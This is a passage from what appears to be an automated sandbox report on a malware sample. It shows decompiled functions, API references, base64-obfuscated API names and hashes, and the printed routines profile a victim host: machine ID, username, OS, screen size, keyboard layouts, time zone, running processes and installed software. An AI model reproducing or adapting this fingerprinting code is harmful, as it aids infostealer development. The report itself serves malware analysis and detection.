								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t229 = _t229 + 1;
								_t172 = _t172 - 1;
							} while (_t172 != 0);
						}
						_t171 = _t195 * 0x8b;
						_t52 = _t171 * 4; // 0x0
						_t56 = _t171 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t171 * 4)) = 1;
						}
						_t195 = _t195 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t142 = E00404648(_v8) - 1;
				if(_t142 >= 0) {
					_v28 = _t142 + 1;
					_t194 = 0;
					do {
						_t240 = _t194 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t240 * 4)) == 1) {
							_t75 = _t240 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t240 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E00416680);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t240 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416674);
								_push(E00416680);
								E00403850();
							}
							_t96 = _t194 * 0x8b * 4; // 0x1ffff
							E004160EC( *((intOrPtr*)(_v8 + _t96 + 8)), _t194,  &_v612, 1, _t235, _t240, _t245);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t194 = _t194 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t214);
				 *[fs:eax] = _t214;
				_push(E004165CD);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t216 =  *0x4160c4; // 0x4160c8
				return E00404810( &_v8, _t216);
			}

0x0041628c
0x0041628c
0x00416291
0x00416293
0x00416299
0x0041629a
0x0041629b
0x0041629e
0x004162a4
0x004162aa
0x004162b0
0x004162b6
0x004162bc
0x004162c2
0x004162c8
0x004162cb
0x004162ce
0x004162d3
0x004162d4
0x004162d9
0x004162dc
0x004162ea
0x004162f5
0x00416318
0x00416323
0x00416339
0x00416346
0x00416351
0x00416362
0x0041637e
0x00416383
0x0041638c
0x0041638e
0x00416393
0x00416399
0x004163a3
0x004163ab
0x004163af
0x004163b1
0x004163ba
0x004163c9
0x004163d4
0x004163ea
0x004163f5
0x004163f5
0x004163f5
0x004163f7
0x0041640b
0x0041641a
0x0041641c
0x004163b1
0x00416428
0x00416428
0x00416432
0x00416435
0x00416438
0x0041643b
0x0041643d
0x0041643d
0x00416449
0x0041644c
0x0041644e
0x0041644f
0x00416451
0x0041645a
0x0041645e
0x00416464
0x00416467
0x0041646b
0x0041646d
0x0041646d
0x00416471
0x00416472
0x00416472
0x00416451
0x00416475
0x0041647e
0x00416485
0x00416489
0x0041648b
0x0041648b
0x00416493
0x00416498
0x00416498
0x004164a0
0x004164a1
0x004164a1
0x004164a1
0x0041643d
0x004164ab
0x004164b6
0x004164b9
0x004164c0
0x004164c3
0x004164c5
0x004164c5
0x004164d3
0x004164dc
0x004164e3
0x0041651e
0x0041652a
0x00416533
0x00416538
0x0041653e
0x0041654b
0x004164e5
0x004164e5
0x004164f1
0x004164fa
0x004164ff
0x00416505
0x0041650a
0x00416517
0x00416517
0x0041655a
0x00416569
0x00416578
0x00416578
0x00416583
0x00416588
0x00416589
0x00416589
0x00416589
0x004164c5
0x00416594
0x00416597
0x0041659a
0x004165aa
0x004165b2
0x004165ba
0x004165c5

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
FindCloseChangeNotification.KERNEL32(00000000), ref: 00416428
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$ChangeCloseCreateCurrentFindFirstNextNotificationProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1800246685-4127804628
Opcode ID: 30c29d9f9f76255828fe0054aefd21aa27b63753168e69cadca5cc0a532481a5
Instruction ID: 948cc98421d4847538e10b66e82c05f92fa6bf3d8733b6e628a134da397cb227
Opcode Fuzzy Hash: 30c29d9f9f76255828fe0054aefd21aa27b63753168e69cadca5cc0a532481a5
Instruction Fuzzy Hash: 8281A6709001199BCB10EF99C985ADEB7B9FF84304F1181BAE508B7291D739DF858F98

Uniqueness

Uniqueness Score: -1.00%

Function 00416974, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 213
sleepCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00416974(intOrPtr* __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed char _t59;
				intOrPtr* _t60;
				intOrPtr* _t142;
				void* _t143;
				intOrPtr _t173;
				void* _t181;
				intOrPtr _t184;
				intOrPtr _t185;

				_t182 = __esi;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				asm("das");
				 *_t59 =  *_t59 + _t59;
				 *__edx =  *__edx + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 & _t59;
				 *_t59 =  *_t59 + _t59;
				_t60 = _t59 +  *_t59;
				 *_t60 =  *_t60 + _t60;
				 *_t60 =  *_t60 + _t60;
				_t184 = _t185;
				_t143 = 0xc;
				do {
					_push(0);
					_push(0);
					_t143 = _t143 - 1;
					_t191 = _t143;
				} while (_t143 != 0);
				_t142 = _t60;
				_push(_t184);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t185;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t142, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t142);
				_push("Windows    :   ");
				E00407B08( &_v28, _t142, _t181, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t191);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t142);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v40);
				E004037DC( &_v68, "Screen: ",  *_t142);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t142,  &_v72, __esi, _t191);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t142,  &_v76, _t182, _t191);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t142, _v60);
				_push( *_t142);
				_push("Layouts: ");
				E004166B4( &_v80, _t142, _t181, _t182);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("LocalTime: ");
				E00416894( &_v84, _t142, _t182);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t142);
				_push("Zone: ");
				E00416794( &_v88, _t142, _t181, _t182, _t191); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t142);
				E00415E44( &_v92, _t142, _t181, _t182); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t142);
				E00416290( &_v96, _t142, _t181, _t182, _t191); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t142);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t142, _t181, _t182); // executed
				E00403798(_t142, _v100);
				_t173 = 0x416ca4;
				 *[fs:eax] = _t173;
				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416974
0x00416974
0x00416976
0x00416978
0x00416979
0x0041697b
0x0041697d
0x0041697f
0x00416980
0x00416982
0x00416984
0x00416986
0x0041698a
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32 ref: 00416AD3
GetSystemMetrics.USER32 ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Zone: , xrefs: 00416B5E
MachineID : , xrefs: 004169AC
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
Windows : , xrefs: 004169F4
[Soft], xrefs: 00416BD0
LocalTime: , xrefs: 00416B3B
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: 4c9c43a1ccfff347fbb970f709355c8580a6ba1e38aaef3c791caca9cc7dbb0b
Instruction ID: 772785f2c09445a84a7b2349d24cb582ce7330fa6bd2b57fe2dee83489952c98
Opcode Fuzzy Hash: 4c9c43a1ccfff347fbb970f709355c8580a6ba1e38aaef3c791caca9cc7dbb0b
Instruction Fuzzy Hash: C8812C70A40209ABCB01FFA1DC42BCDBB79EF49309F61807BB104B6196D67DEA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 00416978, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 211
sleepCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00416978(signed int __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t59;
				intOrPtr* _t141;
				void* _t142;
				intOrPtr _t172;
				void* _t180;
				intOrPtr _t183;
				intOrPtr _t184;

				_t181 = __esi;
				asm("das");
				 *__eax =  *__eax + __eax;
				 *__edx =  *__edx + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax & __eax;
				 *__eax =  *__eax + __eax;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				_t183 = _t184;
				_t142 = 0xc;
				do {
					_push(0);
					_push(0);
					_t142 = _t142 - 1;
					_t189 = _t142;
				} while (_t142 != 0);
				_t141 = _t59;
				_push(_t183);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t141, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t141);
				_push("Windows    :   ");
				E00407B08( &_v28, _t141, _t180, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t189);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t141);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v40);
				E004037DC( &_v68, "Screen: ",  *_t141);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t141,  &_v72, __esi, _t189);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t141,  &_v76, _t181, _t189);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t141, _v60);
				_push( *_t141);
				_push("Layouts: ");
				E004166B4( &_v80, _t141, _t180, _t181);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("LocalTime: ");
				E00416894( &_v84, _t141, _t181);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t141);
				_push("Zone: ");
				E00416794( &_v88, _t141, _t180, _t181, _t189); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t141);
				E00415E44( &_v92, _t141, _t180, _t181); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t141);
				E00416290( &_v96, _t141, _t180, _t181, _t189); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t141);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t141, _t180, _t181); // executed
				E00403798(_t141, _v100);
				_t172 = 0x416ca4;
				 *[fs:eax] = _t172;
				_push(E00416C7F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416978
0x00416978
0x00416979
0x0041697b
0x0041697d
0x0041697f
0x00416980
0x00416982
0x00416984
0x00416986
0x0041698a
0x0041698d
0x0041698f
0x00416994
0x00416994
0x00416996
0x00416998
0x00416998
0x00416998
0x0041699c
0x004169a0
0x004169a1
0x004169a6
0x004169a9
0x004169ac
0x004169b4
0x004169b9
0x004169bc
0x004169c8
0x004169cd
0x004169cf
0x004169d9
0x004169de
0x004169e1
0x004169ed
0x004169f2
0x004169f4
0x004169fc
0x00416a01
0x00416a04
0x00416a11
0x00416a1c
0x00416a21
0x00416a27
0x00416a2c
0x00416a2f
0x00416a37
0x00416a3c
0x00416a3f
0x00416a4c
0x00416a56
0x00416a65
0x00416a70
0x00416a75
0x00416a7b
0x00416a80
0x00416a83
0x00416a8b
0x00416a90
0x00416a93
0x00416a98
0x00416aa5
0x00416aaf
0x00416abe
0x00416ac9
0x00416ace
0x00416adb
0x00416ae0
0x00416ae3
0x00416af2
0x00416af7
0x00416afa
0x00416b07
0x00416b11
0x00416b16
0x00416b18
0x00416b20
0x00416b25
0x00416b28
0x00416b34
0x00416b39
0x00416b3b
0x00416b43
0x00416b48
0x00416b4b
0x00416b57
0x00416b5c
0x00416b5e
0x00416b66
0x00416b6b
0x00416b6e
0x00416b7a
0x00416b7f
0x00416b84
0x00416b89
0x00416b8c
0x00416b98
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bae
0x00416bb1
0x00416bb6
0x00416bc2
0x00416bc9
0x00416bce
0x00416bd0
0x00416be1
0x00416be8
0x00416bf0
0x00416bfa
0x00416c01
0x00416c04
0x00416c07
0x00416c14
0x00416c21
0x00416c29
0x00416c36
0x00416c3e
0x00416c4b
0x00416c58
0x00416c65
0x00416c77

APIs

GetSystemMetrics.USER32 ref: 00416AD3
GetSystemMetrics.USER32 ref: 00416AEA

Part of subcall function 00416794: GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00415E44: GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4,?,Layouts: ,?), ref: 00416B9F

Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,), ref: 00416300
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416306
Part of subcall function 00416290: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE,?,00000001,), ref: 0041632E
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416334
Part of subcall function 00416290: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001,?,?,?,00416BAE), ref: 00416373
Part of subcall function 00416290: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416379
Part of subcall function 00416290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165C6,?,-00000001), ref: 0041638C
Part of subcall function 00416290: Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB

Sleep.KERNEL32(00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ,?,00416CA4,?,LocalTime: ), ref: 00416BC9
Sleep.KERNEL32(00000001,00416CA4,[Soft],?,00000001,00416CA4,00416CA4,?,?,00000001,,?,?,,?,Zone: ), ref: 00416BE8

Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A212,00000000,00415B6E,?,-00000001,?,?,00000000,00000000,?,00416BF5,00000001), ref: 004156A9
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 00415831
Part of subcall function 0041564C: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A212,0041A212,00000001,?,000003E9,),?,?,00000000,00415C44,?,?), ref: 0041586C
Part of subcall function 0041564C: RegEnumKeyA.ADVAPI32(0041A212,00000000,?,000003E9), ref: 004159F4

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

Zone: , xrefs: 00416B5E
MachineID : , xrefs: 004169AC
Computer(Username) : , xrefs: 00416A60
, xrefs: 004169E1, 00416B6E, 00416B8C
Layouts: , xrefs: 00416B18
Screen: , xrefs: 00416AB9
Windows : , xrefs: 004169F4
[Soft], xrefs: 00416BD0
LocalTime: , xrefs: 00416B3B
EXE_PATH : , xrefs: 004169CF

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumMetricsOpen$CreateFirstFreeInfoInformationProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 2064200246-943277980
Opcode ID: def29004123defb7495f63657c43b89c0c5216692a1123bc0e68f5db5c306f23
Instruction ID: ba9566fa5802b655d19b309e0ce3e7f0f20b9e85fb6ad6d3dc3daba04cc241c3
Opcode Fuzzy Hash: def29004123defb7495f63657c43b89c0c5216692a1123bc0e68f5db5c306f23
Instruction Fuzzy Hash: 70811D70A40209ABCB01FFA1DC42BCDBB79EF45309F61807BB104B61D6D67DEA458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041698C, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 201
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E0041698C(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				intOrPtr* _t140;
				void* _t141;
				intOrPtr _t171;
				intOrPtr _t182;
				intOrPtr _t183;

				_t180 = __esi;
				_t179 = __edi;
				_t182 = _t183;
				_t141 = 0xc;
				do {
					_push(0);
					_push(0);
					_t141 = _t141 - 1;
					_t184 = _t141;
				} while (_t141 != 0);
				_t140 = __eax;
				_push(_t182);
				_push(0x416c78);
				_push( *[fs:eax]);
				 *[fs:eax] = _t183;
				_push("MachineID :   ");
				E00406CE8( &_v8, __eax, __esi); // executed
				_push(_v8);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("EXE_PATH  :   ");
				E00416684(0,  &_v12);
				_push(_v12);
				_push(0x416cc8);
				E00403850();
				_push( *_t140);
				_push("Windows    :   ");
				E00407B08( &_v28, _t140, __edi, __esi);
				_push(_v28);
				_push(0x416cf0);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t184);
				_push(_v32);
				_push(0x416cf8);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t140);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d2c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d34);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v40);
				E004037DC( &_v68, "Screen: ",  *_t140);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t140,  &_v72, _t180, _t184);
				_push(_v72);
				_push(0x416d50);
				E0040709C(GetSystemMetrics(1), _t140,  &_v76, _t180, _t184);
				_push(_v76);
				_push(0x416d00);
				E00403E78();
				E0040377C(_t140, _v60);
				_push( *_t140);
				_push("Layouts: ");
				E004166B4( &_v80, _t140, __edi, _t180);
				_push(_v80);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("LocalTime: ");
				E00416894( &_v84, _t140, _t180);
				_push(_v84);
				_push(0x416ca4);
				E00403850();
				_push( *_t140);
				_push("Zone: ");
				E00416794( &_v88, _t140, _t179, _t180, _t184); // executed
				_push(_v88);
				_push(0x416cc8);
				E00403850();
				_push( *_t140);
				E00415E44( &_v92, _t140, _t179, _t180); // executed
				_push(_v92);
				_push(0x416cc8);
				E00403850();
				Sleep(1); // executed
				_push( *_t140);
				E00416290( &_v96, _t140, _t179, _t180, _t184); // executed
				_push(_v96);
				_push(0x416ca4);
				_push(0x416ca4);
				E00403850();
				Sleep(1); // executed
				_push( *_t140);
				_push("[Soft]");
				E00403850();
				Sleep(1); // executed
				E0041564C( &_v100, _t140, _t179, _t180); // executed
				E00403798(_t140, _v100);
				_t171 = 0x416ca4;
				 *[fs:eax] = _t171;
